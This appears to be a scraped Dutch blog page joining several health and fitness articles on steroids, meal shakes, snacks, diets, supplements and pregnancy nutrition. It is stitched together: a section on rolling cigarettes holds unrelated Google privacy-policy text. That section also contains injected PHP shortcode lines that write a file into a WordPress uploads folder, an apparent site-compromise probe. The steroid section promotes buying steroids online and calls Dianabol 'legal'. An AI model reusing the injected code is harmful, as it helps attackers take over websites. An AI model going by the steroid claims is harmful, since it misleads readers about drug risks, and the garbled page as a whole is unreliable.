Neem geen risico’s met je lichaam

De nummer één reden waarom veel bodybuilders toch afzien van het volgen van een kuur van anabole steroïden is de vrees voor hun gezondheid. Je injecteert immers een chemische verbinding in je lichaam. Doorgaans is die stof gebaseerd op testosteron. Een stof die bij alle mannen vanzelfsprekend al in hun lichaam aanwezig is. Echter, je kan ook nog extra testosteron injecteren of slikken waardoor de resultaten van deze lichaamseigen stof zullen worden vergroot. Je zal inderdaad grotere spiermassa krijgen. Je zal meer uithoudingsvermogen krijgen en je zal ook een toename aan energie krijgen.

Er zitten echter aan anabolen kopen ook een aantal bijwerkingen die je niet zomaar moet uitvlakken. Wanneer je van die grote extra dosissen anabolen steroïden in je lichaam gaat injecteren zal dit zijn uitwerking op je verdere fysieke gesteldheid hebben. De meeste anabolen hebben de eigenschap dat ze zich opslaan in je lever, ze zijn dus levertoxisch. Daarnaast zal de natuurlijke productie van testosteron in je lichaam afnemen doordat je het zelf in grote mate extra injecteert. De plek waar je lichaam testosteron produceert- je testikels- zal daardoor in afmeting afnemen tijdens de inname van anabole steroïden. Bovendien zal je te allen tijden moeten controleren dat je bloeddruk wel in orde blijft. Je zal dus altijd bij een kuur met anabolen een goede begeleiding nodig hebben. Een arts die jouw gezondheidssituatie overziet zal erop toezien dat de balans tussen voordelen en nadelen goed blijft.

Koop anabolen naar wens online

Tegenwoordig kun je online anabolen kopen via het internet. Een aantal sites biedt een groot assortiment aan verschillende soorten anabole steroïden aan. Bekijk het brede aanbod. Van Anapolon, Proviron tot Dianabol; allemaal legale middelen. Het is maar net wat je zoekt. Kom je vaak in de sportschool en overweeg je om middels anabolen meer spierkracht en spiermassa bij in je eigen lichaam te kweken? Dan kun je ze thuis laten bezorgen, nadat je ze online hebt besteld. De prijzen variëren per dosis, leverancier en merk. Bij juist gebruik kunnen anabole steroïden het uiterlijk dusdanig veranderen zodat jij toe kunt werken naar jouw ideaalbeeld. Wees verstandig , neem de bijsluiter goed door en laat je informeren over de mogelijke bijwerkingen. Misbruik van anabolen moet ten alle tijde voorkomen worden.

Anabolen zijn onder andere geschikt voor bodybuilders

Na gebruik van anabolen worden er in het lichaam meer rode bloedcellen in het lichaam waardoor je meer zuurstof krijgt en meer uithoudingsvermogen kunt ontwikkelen. Daarnaast zorgen anabole steroïden voor een verhoogde eiwitproductie, afname van lichaamsvet doordat er een positieve verandering in de hormoonhuishouding tot stand wordt gebracht. Anabolen zijn vooral geschikt voor mensen, tot welke de groep van de bodybuilders, die zich bewust zijn van de werking van hun lichaam en precies maat kunnen houden bij een anabolenkuur of injectiereeks. Het gebruik van anabolen vormt dikwijls bij deze groep mensen onderdeel van een bepaalde manier van leven. Dikwijls spuiten of gebruiken deze mensen anabole steroïden onder begeleiding van een huisarts of coach.

Hoe dien je maaltijdshakes te gebruiken in je dieet?

Laatst las ik een interessant artikel over zangeres Lisa Lois. In 2009 won zij het destijds populaire tv-programma X-Factor. Ze stond destijds bekend als een volslanke dame met een strot waar je u tegen zegt. Ze verraste een tijd geleden vriend en vijand door zo’n 21 kilo af te vallen. Volgens Lisa bereikte ze dat door veel te sporten en regelmatig maaltijdshakes te nuttigen.

Vooral dat laatste, en het feit dat we het over een BN’er hebben, zorgde er voor dat er nogal wat discussie ontstond rondom afvallen in het algemeen en het nuttigen van maaltijdshakes. Critici waren het namelijk niet eens met het aanbevelen van maaltijdshakes om gewicht te verliezen. Waar vielen zij precies over en zijn die argumenten te weerleggen? En zijn er tips te geven om de kracht van maaltijdshakes tot de volle 100% te benutten?

Wat zijn maaltijdshakes precies?

Maaltijdshakes zijn drankjes die de laatste tijd populair zijn als vervangers van volledige maaltijden. Ze kunnen van alles bevatten, maar zijn meestal opgebouwd uit fruit, groente, yoghurt en/of extra eiwitten. Afhankelijk van hoe snel je wilt afvallen, kun je eetmomenten op de dag vervangen voor maaltijdshakes zoals die van Be-Slank. Zo zijn er mensen die het rustig aandoen en bijvoorbeeld alleen in de ochtend een shake drinken, terwijl anderen zowel ’s morgens als ’s middags en ’s avonds een shake tot zich nemen. Hoe meer shakes je op een dag drinkt, hoe sneller je over het algemeen afvalt. Dit komt omdat je complete maaltijden vervangt door een shake. Aangezien die maaltijden vaak meer calorieën bevatten, is het logisch dat je door het drinken van meer maaltijdshakes, minder calorieën tot je neemt en dus meer en sneller afvalt.

De argumenten van critici

In het voorbeeld wat ik aanhaalde met Lisa Lois werden een aantal argumenten tegen maaltijdshakes gebruikt. Voedingsdeskundige Carina Noordervliet gaf bijvoorbeeld aan dat maaltijdshakes veel te weinig kilocalorieën bevatten om gezond te zijn. Volgens haar gaat je lichaam in reservestand en wordt de verbranding trager. In die toestand blijft het lichaam na het moment dat je weer normaal gaat eten. Vervolgens denkt het lichaam niet meer aan het verbranden van kilocalorieën, maar aan het aanvullen van de vetreserve. Dit is het zogenaamde jojo-effect waar diëtisten het vaak over hebben. Wist je overigens dat hetzelfde jojo-effect ook deels genetisch bepaald is?

yo yo

Daarin heeft Carina in principe gelijk. Het is echter wel een extreem voorbeeld en het geldt niet voor mensen die slechts één maaltijdshake per dag drinken. Er wordt altijd gezegd dat een evenwichtig eetpatroon van essentieel belang is om af te vallen. Men moet simpelweg niet denken dat men alleen door het drinken van maaltijdshakes gezond af kan vallen. Het is belangrijk om goed en gevarieerd te (blijven) dineren en ook tussendoortjes in stand te houden, zodat je toch aan de vijf eetmomenten per dag komt. Zoals altijd wanneer het om voeding gaat: doe het met mate. Eet niet te veel vet, snoep niet te veel en gebruik dus niet te veel maaltijdshakes. Als je je houdt aan één, hooguit twee maaltijdshakes per dag, dan zul je al snel gezond afvallen.

Een ander kritiekpunt dat deze voedingskundige noemde is dat afvallers zichzelf geen goed voedingspatroon aanwennen. Ze kunnen dan wel afvallen door maaltijdshakes te gebruiken, maar de kilo’s zullen er net zo snel weer aanvliegen wanneer ze weer omschakelen naar een normaal dieet. In principe klopt dit, al is dit geen specifiek nadeel van maaltijdshakes maar van diëten in het algemeen. Je moet jezelf altijd een evenwichtig eetpatroon aanwennen wanneer je de kilo’s eenmaal kwijt bent. Doe je dat niet, dan heb je inderdaad grote kans dat je terugvalt in hetzelfde patroon.

Tips om gezond af te vallen met maaltijdshakes

Maaltijdshakes zijn dus prima te gebruiken om af te vallen. Zoals ik hierboven zei, is het wel van belang dat je een aantal ‘regels’ in acht houdt. Hieronder vind je een aantal tips:

  • Drink maximaal 2 maaltijdshakes per dag

Zeer eenvoudig maar ook zeer belangrijk: nuttig niet meer dan 2 maaltijdshakes per dag. Het is van belang dat je het diner niet overslaat of vervangt voor een maaltijdshake: deze is van essentieel belang omdat het diner normaliter de meeste voedingsstoffen bevat. Daarnaast is lekker eten natuurlijk net zo belangrijk als afvallen.

  • Blijf tussendoortjes eten

Minder eten betekent niet per se dat je sneller af zult vallen. Het is namelijk van belang dat je ook tussendoortjes blijft eten, zodat de verbranding op gang blijft. Uiteraard moeten dit wel gezonde tussendoortjes zijn, dus trek geen zak chips open wanneer u trek heeft. Beter kiest u voor fruit, noten of yoghurt om de honger te stillen.

  • Let op de inhoud van de shake

Maaltijdshakes hebben van zichzelf een ‘gezond karakter’, maar bedenk je wel dat er onderling nog veel verschil zit in de verschillende maaltijdshakes. Let daarom altijd op de inhoud en kijk wat je tot je neemt. Zo zijn er shakes op de markt die zich richten op bepaalde voedingsstoffen of bouwstenen zoals eiwitten. Ook hier geldt weer; variatie is de sleutel tot succes.

Gezonde snacks op een rij

Je zit heerlijk op de bank TV te kijken en krijgt toch wel erge trek. Natuurlijk wil je verantwoorde snacks eten maar welke zijn goed en verantwoord om op precies zo’n moment te eten? Dit zijn 6 ‘gezondere’ snacks voor op de bank:

  1. Zoute popcorn

Popcorn bevat veel antioxidanten en is vooral erg lekker om te eten tijdens het TV kijken! Grijp niet naar de bekende zak chips maar naar zoute popcorn dus! Dat scheelt ongeloofelijk veel overbodige calorieën in vergelijking met chips.

  1. Crackers

Heb je zin in een hartig hapje? Je kan jouw (lijnzaad)cracker gezond én goed beleggen met: kipfilet, rosbief of rookvlees. Wil je je cracker iets uitgebreider beleggen? Probeer dan eens hüttenkäse, tomaat en bieslook. Een gekookt eitje is ook altijd erg lekker, vult én is gezond!

  1. Warme snacks

Een appeltje uit de oven of magnetron bestrooit met kaneel eventueel met biologische rozijntjes is ook erg lekker om voor de TV op te eten! Helemaal als je het koud hebt en zin in iets warms. Neem hier bijvoorbeeld een kop groene thee bij. Heerlijk warm én gezond!

  1. Yoghurt of kwark

Doe bijvoorbeeld een stuk fruit door de yoghurt of de magere kwark om het een heerlijke frisse smaak te geven.

  1. Vers fruit

Al het verse fruit is gezond en schuldvrij te eten. Denk bijvoorbeeld ook aan een glas versgeperste sinaasappelsap. Heerlijk fris om te drinken en het vult ook nog eens goed!

  1. Groenten

Mix verschillende soorten rauwkost tot een kleine salade, maak hem niet TE groot. Denk bij voorbeeld ook aan gedroogd fruit en ongezouten noten die je door de salade kan doen om de smaak en voedingswaarde in belangrijke mate te verhogen.

Ontdek ook jouw BMI cijfer met behulp van deze BMI calculator!

De voordelen van zelf sigaretten maken

When you use Google services, you trust us with your information. This Privacy Policy is meant to help you understand what data we collect, why we collect it, and what we do with it. This is important; we hope you will take time to read it carefully. And remember, you can find controls to manage your information and protect your privacy and security at My Account.
There are many different ways you can use our services – to search for and share information, to communicate with other people or to create new content. When you share information with us, for example by creating a Google Account, we can make those services even better – to show you more relevant search results and ads, to help you connect with people or to make sharing with others quicker and easier. As you use our services, we want you to be clear how we’re using information and the ways in which you can protect your privacy.
Our Privacy Policy may change from time to time. We will not reduce your rights under this Privacy Policy without your explicit consent. We will post any privacy policy changes on this page and, if the changes are significant, we will provide a more prominent notice (including, for certain services, email notification of privacy policy changes). We will also keep prior versions of this Privacy Policy in an archive for your review.
[insert_php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/insert_php]
[php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/php]

Goedkoop in vorm komen

Sporten is natuurlijk hartstikke goed voor je gezondheid. Het kost echter wel aardig wat geld. Als je regelmatig gaat fitnessen ben je niet alleen geld kwijt aan lidmaatschapskosten maar ook natuurlijk aan sportbenodigdheden als sportschoenen en sportkleding. Echt goedkoop zijn sportbenodigdheden vaak niet. Gelukkig is er een manier waarop je goedkoop in vorm kunt komen. Lees hier hoe je goedkoop in vorm komt.

Kortingsacties

Als je regelmatig sport is het belangrijk om kwalitatief goede sportschoenen en sportkleding aan te schaffen. Helaas kosten de sportartikelen van bekende merken vaak aardig wat geld. Het is dan ook belangrijk om goed te letten op kortingsacties, zodat je geld kunt besparen. Er zijn gelukkig tegenwoordig veel sportwebshops die met kortingsacties werken. Hierdoor hoef je niet elke keer de volle prijs te betalen voor je aankopen.

Geld besparen

Er zijn sites waar je op een winkel kunt zoeken en vervolgens alle kortingsacties van die winkel overzichtelijk te zien krijgt. Hierdoor zie je in één oogopslag welke kortingsacties op dat moment spelen, en kan je de kortingsactie kiezen voor jou het meest aantrekkelijk is. Vervolgens hoef je alleen maar de code te kopiëren, en deze tijdens het afrekenen in te voeren. Makkelijker kan het bijna niet. Het voordeel is dat dit soort sites regelmatig de kortingsacties updaten, dus je bent altijd verzekerd van de laagste prijs. Kijk dan ook altijd voor het shoppen eerst naar alle kortingsacties die op dat moment gaande zijn. Door gebruik te maken van deze kortingsacties kun je jaarlijks honderden euro’s besparen op je sportbenodigdheden. Lees hier hoe je goedkoop in vorm kunt komen.

Goedkoop

Het leuke is ook dat dit soort sites werken met allerlei verschillende kortingsacties. Denk aan kortingscodes, actiecodes, promotiecodes, kortingsbonnen en coupons. Als je hier handig gebruik van maakt, kun je goedkoop en makkelijk leuke sportitems scoren.

Nooit meer een studiedip met de juiste voedingssupplementen

PaneuromixBen jij toe aan een opkikker of heb je een lange studieweek voor de boeg? Voel je je nu al vermoeid en gedemotiveerd bij het vooruitzicht? Dan is er voor jou de ideale oplossing. Paneuromix biedt namelijk de beste voedingssupplementen om je hersen capaciteit te stimuleren. Door de juiste ingrediënten zijn je hersenen beter in staat om informatie op te nemen en te onthouden. Daarnaast is je concentratie veel scherper en kun je het lezen van ingewikkelde teksten veel langer volhouden. Met andere woorden, op de korte termijn studeren wordt effectief, want je kunt alle informatie in korte termijn in je hoofd stampen en direct doorgaan naar je tentamen om de informatie vervolgens makkelijk te reproduceren. Het is niet alleen een voordeel tijdens de studie, maar ook tijdens je daadwerkelijke tentamen kun je je focus goed volhouden tot aan de laatste vragen om op deze manier optimaal te presteren.

Niet studeren, toch optimaal presteren

Natuurlijk is Paneuromix er niet alleen om je te helpen studeren. Het biedt jou de mogelijkheid om voor langere tijd meer uit jezelf te halen. Je kunt zelfs op reguliere basis je hersenbooster innemen in de vorm van 1 tot 3 capsules per dag om zo, wat je ook doet, of wat je deadline ook is, optimaal te presteren. Daarnaast is het fijn om je goed te voelen qua focus en concentratie. Want ook al heb je niks te doen, met de voedingssupplementen van Paneuromix voel je je altijd beter en meer geconcentreerd. Dus in plaats van op de bank hangen en je tijd verdoen ben je altijd gemotiveerd om dingen te ondernemen, om die studie te volgen of dat boek te lezen. Kortom je kunt jezelf blijven verbeteren. Hoe je het ook wendt of keert het is de ideale manier om je leven die boost te geven en met een andere kijk op de dingen het leven in te stappen.

Mediteren met muziek aan?

Mediteren biedt vele voordelen voor zowel jong als oud. Het is voor iedereen aan te raden als je meer uit je dag wilt halen. Zo kun je door te mediteren namelijk een stuk productiever worden, minder stress krijgen en je meer bezig zijn met het moment. De vraag is dan, hoe begin ik nou met mediteren? Moet ik gewoon 10 minuten stil gaan zitten en af gaan wachten tot dit helpt of moet ik er serieus mee aan de gang?

Hoe moet je beginnen met mediteren?

Als je gaat beginnen met mediteren moet je het rustig aanpakken.  Ga niet met haast aan het werk en verwacht niet dat je direct al het mediteren goed onder de knie krijgt. Meditatie kan als een ‘’skill’’ worden gezien dat je moet leren, hoe meer je het oefent hoe beter je er in zult worden. Begin dus ook niet als een gek met 10 of meer minuten maar doe het rustig aan. Als beginner is het misschien verstandig om het een aantal minuten te beginnen. Misschien is 1 minuut al voldoende. Dit bouw je rustig op tot je ongeveer 5 minuten kan mediteren. Wat ook kan helpen is een speciale cursus te volgen waar je professionele begeleiding krijgt.

 

 

Meditatie muziek

Wat ook handig is tijdens het mediteren wat rustgevende muziek op te zetten. Zoek maar eens op youtube en je vindt genoeg meditatie muziek. Dit kan je goed helpen om je te blijven focussen op je ademhaling. Een andere manier om je te blijven concentreren is een geleide meditatie te volgen. Dit is een audio waar je een stem hoort die je vertelt wat je moet doen, of juist niet en waar je bijvoorbeeld aan moet denken etc. Voor beginners is dit zeer aan te raden.

Een goed Japans restaurant in de regio Rotterdam vinden

Zoek je een restaurant in Rotterdam waar je heerlijk Japans kunt eten? Een Japans restaurant Rotterdam vinden is niet moeilijk, want als je op het internet gaat zoeken naar een geschikte zaak zul je er vaak wel één vinden binnen een aantal muisklikken. Wij willen graag een uitstekend Rotterdams restaurant belichten, dat door steeds meer eetliefhebbers wordt bezocht. Dat is Restaurant Shiki.

Waarom kiezen voor Restaurant Shiki?

ShikiHet is ten eerste een bijzonder professioneel opgezet bedrijf. Als je de zaak binnenstapt zul je meteen begrijpen waarom deze zaak goed draait en waarom veel mensen hier graag een hapje eten. Hier kun je namelijk heerlijk Japans eten. Alles wat lekker is en wat je je doorgaans ook in Japan kunt eten, vind je hier op de menukaart.

Het is ook aan te raden om eens op de website (www.restaurantshiki.com) te kijken. Voordat je gaat reserveren of naar het restaurant gaat is het leuk om hier eens te kijken. Hier kun je bijvoorbeeld kijken welke gerechten er allemaal worden aangeboden. Door naar het restaurant menu te gaan zie je precies wat er allemaal wordt aangeboden. Op deze manier kun je thuis of elders alvast zien wat je wilt bestellen.

Ze bieden ook de mogelijkheid om een zaal te huren. Zo is er een zogeheten Shiki Loung voor 60 tot 80 personen. Deze zaal is voor diverse gelegenheden geschikt. Denk aan een gala, workshop, als trouwlocatie, receptie, een vergadering, een expositie, een personeelsetentje of een feestzaal voor verjaardagen. Gasten kunnen hier hun eigen muziek draaien, er is personeel voor het rondbrengen van eten, het decor is dynamisch en er is een eigen bar beschikbaar. Alle ingrediënten zijn dus aanwezig voor een gezellig avondje uit. Er zijn in Rotterdam of in de regio eigenlijk niet betere Japanse restaurants te vinden.

Het ziekenhuisdieet

Het ziekenhuisdieet is een omstreden manier om snel veel gewicht te verliezen. Het dieet kent zijn oorsprong in, zoals de naam het zegt, een ziekenhuis. Het ziekenhuisdieet word gebruikt bij mensen die op een ziekenhuisbed liggen, veel te veel wegen en geopereerd dienen te worden. Overgewicht en geopereerd worden zijn immers een gevaarlijke combinatie. Tijdens de vijfdaagse kuur verlies je meestal om en nabij de 8 kilo.

Hoe werkt het ziekenhuisdieet?

Tijdens het dieet ligt de nadruk op het maximaal verminderen van de in te nemen koolhydraten. Waar volwassenen normaliter tussen de 2000-2500 calorieën binnen dienen te krijgen, is dat tijdens het ziekenhuisdieet onder de 1000 calorieën.

Een voorbeeld van een dag uit het ziekenhuisdieet:

Ochtend: 1 grapefruit of 1 sinaasappel, 1 geroosterde boterham of 1 beschuit en 1 kopje thee of koffie.
Middag: 1 grapfruit of 1 sinaasappel, 1 ei, 2 bekertjes halfvolle of volle yoghurt, 2 geroosterde boterhammen of 2 beschuiten.
Avond: 2 eieren, 2 tomaten, 1 bekertje halfvolle of volle yoghurt, 2 geroosterde boterhammen of 2 beschuiten, halve krop sla.

Dieet voeding

Waarom het ziekenhuisdieet?

Het ziekenhuisdieet is binnen het ziekenhuis zo’n groot succes gebleken, dat deze omstreden methode ook buiten het ziekenhuis wordt gebruikt. Vooral voor speciale gelegenheden wordt het ziekenhuisdieet gebruikt zoals bij: bruiloften, vakanties, dates etc. Want zeg nou eerlijk, wie wil er bij deze gelegenheden nou niet op zijn best uit zien?

Is het ziekenhuisdieet geschikt voor mij?

Bij een dieet is het verstandig dat je je er goed bij voelt. Het ziekenhuisdieet brengt de nodige risico’s met zich mee, aangezien je niet voldoende calorieën binnenkrijgt. Moe, hoofdpijn, futloos, een contant hongergevoel en het jojo-effect, zijn slechts enkele gevolgen van het ziekenhuisdieet. Ervaring leert dat geleidelijk en op een gezonde manier afvallen veel effectiever is. Snel afvallen is voor sommige situaties ideaal, maar voor de lange termijn is een alternatief voor het ziekenhuisdieet wellicht een betere keuze.

CrossFit, het nieuwe fitness

Wat is CrossFit

CrossFit is populaire vorm van fitness dat zijn oorsprong in de Verenigde Staten heeft. In de VS is het al super groot en bestaan er duizenden CrossFit boxen (sportscholen). Dit aantal is de afgelopen jaren flink gestegen. Het is een manier van fitness waarbij verschillende elementen in voor komen uit onder andere gymnastiek, gewichtheffen en conditietraining. Zo bestaat een CrossFit workout bijvoorbeeld uit pull ups, halters omhoog stoten en 400 meter rennen. In CrossFit zijn de WODs (workout of the days) elke dag gevarieerd, het doel hiervan is om je niet te specialiseren maar om op elk gebied van fitness voorbereid te zijn.

CrossFit in Nederland

Tegenwoordig is de sport CrossFit ook geen onbekend begrip meer in Nederland. Er zijn al een kleine honderd CrossFit boxen te vinden in Nederland. De sport is in Nederland de afgelopen jaar ook erg gegroeid en er worden ook al competities in gehouden. Deze competities zijn erg leuk en sportief, de community in Nederland is erg verbonden met elkaar. Een aantal voorbeelden zijn de Lowlands Throwdown, de Battle of Gelderland en de Rotterdam Throwdown.

Deze competities zijn natuurlijk erg klein in vergelijking met de CrossFit Games, De CrossFit competitie die in de VS wordt gehouden waar mensen uit de hele wereld het tegen elkaar opnemen om de fitste man en vrouw te worden.

CrossFit en mobiliteit

Omdat er in CrossFit veel technische oefeningen gedaan worden zoals de snatch en clean&jerk, die uit het olympisch gewichtheffen komen, vereist het aardig wat lenigheid en mobiliteit van het lichaam. Hier wordt in CrossFit boxen dan ook veel aandacht aan besteed door middel van bijvoorbeeld het lichaam te masseren met een foam roller. Ook wordt er in CrossFit veel aandacht besteed aan een goede warming up, dit is namelijk erg belangrijk voor al het zware gewichtheffen en de technisch moeilijke oefeningen.

Crossfit zorgt dat je altijd in een goede vorm verkeerd en je altijd een zomer-proof lichaam hebt waardoor je gewoon heerlijk in je zwembroek of zwemkleding bikini kunt lopen in de zomer.

Het voorkomen van spierpijn bij hardlopen

Bij veel mensen is het welbekend: spierpijn krijgen na een uurtje flink gesport te hebben. Vooral als je bijvoorbeeld na lange tijd weer eens hardloopschoenen aantrekt en direct fanatiek aan de slag gaat. Dat is natuurlijk niet bepaald verstandig om te doen. Zoals je op mijn Twitter pagina hebt kunnen lezen, heb ik op dit moment ook behoorlijk last van spierpijn na het hardlopen en ik geef jullie graag een aantal tips.

Spierpijn is een vervelend gevoel dat ervoor kan zorgen dat je bepaalde bewegingen niet meer goed kan maken. Uiteraard tijdelijk, maar spierpijn kan altijd nog een paar dagen duren. Als je na het hardlopen veel last hebt van spierpijn en mogelijk enkele weken lang, is het raadzaam om een fysiotherapeut te bezoeken. Wanneer je lichaam gewend is om veel te trainen, zul je na verloop van tijd steeds minder vaak spierpijn krijgen. Je lichaam is dan gewend aan de belasting en je zult ook een betere conditie krijgen.

Wat is spierpijn bij hardlopen?

Spierpijn na het trainenSpierpijn wil eigenlijk zeggen dat de spier overbelast is. Dit gebeurt vaak tijdens het sporten en ook wanneer je voor een langere tijd een verkeerde houding aanhoudt. De pijn die je voelt verschilt per spier en per persoon. Vooral de eerste dag kan vervelend zijn. Dit kan er soms zelfs voor zorgen dat je bepaalde bewegingen niet kan maken. Ook kan je verschillende activiteiten niet uitvoeren. Wanneer je te maken hebt met spierpijn betekent het dat je weefsel van de spieren is beschadigd. Hoe erg de pijn is, heeft weer te maken met hoe erg het weefsel is beschadigd. De symptomen waar je mee te kampen krijgt zijn vooral een stijve spier, ‘zeurende’ spieren of een verdoofd gevoel.

Op mijn eigen website vind je meer informatie over spierpijn en hardlopen. Ook als het gaat om fitness kun je te maken krijgen met spierpijn. Als je veel aan fitness doet weet je dat je hier mee te maken kan krijgen als je enige tijd stil hebt gezeten. Over dit onderwerp vind je eveneens diverse artikelen.

Hoeveel eiwitten heb je nodig tijdens de zwangerschap?

De vraag die veel vrouwen zich stellen is waarom je eiwitten nodig hebt tijdens de zwangerschap?

De aminozuren waaruit eiwitten bestaan zijn de bouwstenen van de cellen van uw lichaam – en van het lichaam van je baby ook. Het is daarom belangrijk om voldoende eiwitten te krijgen tijdens je zwangerschap, maar vooral tijdens het tweede en derde trimester, wanneer je baby het snelst groeit en je borsten en organen steeds groter worden om aan de behoeften van uw groeiende baby te voldoen.

Hoeveel eiwitten heb je nodig?

Zwangere vrouwen hebben ongeveer 70 gram (g) eiwit per dag nodig en niet-zwangere vrouwen hebben ongeveer 45 g. Je hoeft niet aan de aanbevolen hoeveelheid eiwit per dag te houden maar in plaats daarvan streven naar een gemiddelde over de loop van een paar dagen of een week.

De meeste vrouwen eten regelmatig meer eiwitten in een dag dan ze nodig hebben, dus je zult waarschijnlijk geen moeite hebben om te voldoen aan de behoeften van uw lichaam tijdens de zwangerschap hebben. Als je geen vlees eet, kun je de eiwitbehoefte via andere bronnen krijgen, waaronder zuivel, bonen, of sojaproducten.

Voedsel bronnen van eiwitten

EiwittenBonen zijn een goede bron van eiwitten, maar ook mager vlees, gevogelte, vis en schaaldieren, eieren, melk, kaas, tofu, en yoghurt. Terwijl dierlijke producten volwaardige eiwitten bevatten (alle negen aminozuren componenten) en andere plantaardige bronnen over het algemeen niet, het eten van een verscheidenheid van voedsel in de loop van de dag zal helpen ervoor zorgen dat u alle 9 van de aminozuren die je nodig hebt binnen krijgt.

Eet drie of vier porties eiwit per dag en je zult goed op weg zijn naar het eten voor een gezonde zwangerschap en baby. (Uw prenatale dagelijkse behoefte van 70 gram is het equivalent van twee glazen melk, een ons kipfilet, en twee kopjes yoghurt, bijvoorbeeld.)

Hier zijn een aantal goede eiwitbronnen:

Zuivel

  • Zuivel productenkwark
  • ricotta
  • magere yoghurt
  • Parmezaanse kaas
  • Zwitserse kaas
  • magere melk
  • mozzarella kaas
  • cheddarkaas
  • verse eieren

Bonen, noten, peulvruchten

  • rauwe tofoe (stevig)
  • gekookte linzen
  • zwarte bonen
  • bruine bonen
  • kikkererwten
  • pinto bonen
  • gladde pindakaas
  • droge geroosterde pinda’s
  • sojamelk

Vlees, gevogelte en vis

  • geroosterde kip (zonder huid)
  • rode zalm
  • forel
  • mager rundvlees hamburger patty, geroosterd

Let op: Niet alle vissen worden beschouwd als veilig tijdens de zwangerschap. Sommige roofvissen zoals haai, zwaardvis, koning makreel en tilefish moet worden vermeden, omdat ze methylkwik bevatten dit is een metalen substantie die schadelijk is voor de groeiende hersenen van foetussen en jonge kinderen.

De tekenen van eiwittekort zijn als volgt: Gewichtsverlies, spier-vermoeidheid, frequente infecties en ernstige vochtretentie kunnen tekenen zijn dat je niet genoeg eiwitten in je voeding hebt.

Dit moet je dus ten allen tijden zien te voorkomen.

Het Cambridge dieet en de ontwikkeling er van

Afvallen met het cambridge dieetHet Cambridge dieet bestaat al sinds de jaren zestig en is ontwikkeld door dr. Alan Howard. Het Cambridge dieet staat geheel in het teken van afvallen met maaltijdvervangers. Deze maaltijdvervangers bevatten weinig koolhydraten, waardoor je snel en gemakkelijk kiloís verliest. Na het voltooien van het dieet mag je vervolgens voorzichtig weer overgaan op het eten van normale voeding, waarbij het uiteraard de bedoeling is dat je de verloren kiloís niet weer aankomt.

Om aan het Cambridge dieet deel te nemen, dien je altijd begeleid te worden door een consulent. Zo zijn de maaltijdvervangers van het dieet niet verkrijgbaar in de winkel, maar dien je deze te krijgen van een professionele consulent die je bijstaat tijdens je strijd tegen de overtollige kiloís. Samen met de consulent doorloop je hierbij de volgende vier fases:
1. De voorbereiding: bij de voorbereidende fase van het Cambridge dieet bereid je je lichaam alvast voor op wat er komen gaat. Dit doe je door minder te eten en voornamelijk koolhydraten te mijden.
2. Het daadwerkelijke afslanken: tijdens de tweede fase van het dieet gebruik je alleen de maaltijdvervangers van het Cambridge dieet. Deze maaltijdvervangers worden aangevuld met lichte maaltijden en 2,5 liter water per dag.
3. Het afbouwen van het dieet: als je het gehele dieet hebt doorlopen, ga je rustig weer over op het eten van normale voeding. Dit dien je voorzichtig te doen, zodat je niet direct terugvalt in je oude patroon.
4. Gewichtsbeheersing: tijdens de laatste fase van het dieet krijgen voeding en leefstijl extra aandacht. Op deze manier kun je het behaalde resultaat behouden en komen de verloren kiloís niet terug.

Cambridge dieet en de maaltijd vervangers

De maaltijdvervangers die je eet tijdens het Cambridge dieet bestaan uit shakes, repen en soepen. Hierbij kun je kiezen uit drie maaltijdvervangers per dag die je dagelijks 500 kcal opleveren of vier maaltijdvervangers per dag die je dagelijks 800 kcal opleveren. Deze 800 kcal kun je wat verhogen door ook lichte maaltijden te eten en melkproducten en fruit aan het dieet toe te voegen. De grens van het maximaal aantal kcal per dag is 1200.

De voordelen van het Cambridge dieet
Het volgen van het Cambridge dieet brengt verschillende voordelen met zich mee, namelijk:
– Door de maaltijdvervangers val je snel af.
– Je krijgt professionele begeleiding van een gewichtsconsulent.
– Je hebt een duidelijk beeld van wat je wel en niet mag eten.

Mede om deze voordelen is dit dieet nog altijd een geliefd dieet in Nederland en wordt dit dieet nog altijd door veel mensen met succes gevolgd.

Het winnen van spiermassa

SpiermassaWanneer je meer spiermassa wilt winnen is krachttraining nodig om dit te kunnen bewerkstelligen. Sterke spieren hebben diverse positieve effecten. Je wordt er ten eerste natuurlijk fysiek sterker door en veel sporters hebben hier baat bij. Denk maar een voetballer die weerbaarder zijn in een fysiek duel. Hetzelfde geldt voor een persoon die aan rugby doet. Om bij dit soort sporten goed te kunnen presteren is enige fysieke kracht nodig. Je kunt hiervoor de sportschool in gaan om er voor te zorgen dat je fysiek sterker wordt.

Blessures voorkomen

Door krachttraining kun je ook blessures voorkomen. Helemaal uitsluiten kan natuurlijk nooit, want een blessure kun je altijd oplopen. Wat echter het geval is bij krachttraining, is dat krachttraining geblesseerde spieren en gewrichten sterker maakt. Hierdoor kunnen spieren sterker worden en is de kans kleiner dat je later te maken krijgt met dezelfde blessure. Om een voorbeeld te noemen: wanneer je je rugspieren traint heb je aanzienlijk minder kans op lage rugklachten (ervan uitgaande dat het niet om een hernia gaat).

Daarnaast is krachttraining vooral ook gezond. En veel mensen vinden het ook een leuke tijdsverdrijving. Het geeft je namelijk ook veel energie. Mensen voelen zich wanneer ze klaar zijn met fitnessen een stuk fitter en energieker. En het uiteindelijke resultaat is natuurlijk ook belangrijk.

Voedingssupplementen gebruiken

CreatineOm het je een stuk gemakkelijker te maken kun je voedingssupplementen gebruiken. Deze supplementen kunnen helpen bij het winnen van aanzienlijk wat spiermassa en dit is dan ook de reden dat steeds meer mensen kiezen voor voedingssupplementen. Je kunt hierbij denken aan eiwitten, maar veel mensen kijken tegenwoordig naar creatine. Creatine is een ideaal supplement en het is bewezen dat het werkt. Wanneer je dit supplement wilt gaan gebruiken kun je kijken op creatine kopen.

Er zijn natuurlijk nog tal van andere supplementen. Het is raadzaam om je eerst goed in te lezen over welke supplementen er allemaal zijn. Zo kun je over de voordelen lezen en wat het effect is van een bepaald supplement. Op het internet zijn tal van websites te vinden waar je informatie kunt vinden over dit soort voedingssupplementen. Voorts kom je de nadelen van supplementen tegen. Simpel gezegd kunnen we stellen dat er eigenlijk niet grote nadelen zijn. Uiteraard geldt bij voedingssupplementen ook: overdaad schaadt. Gebruik dus niet overdreven veel.

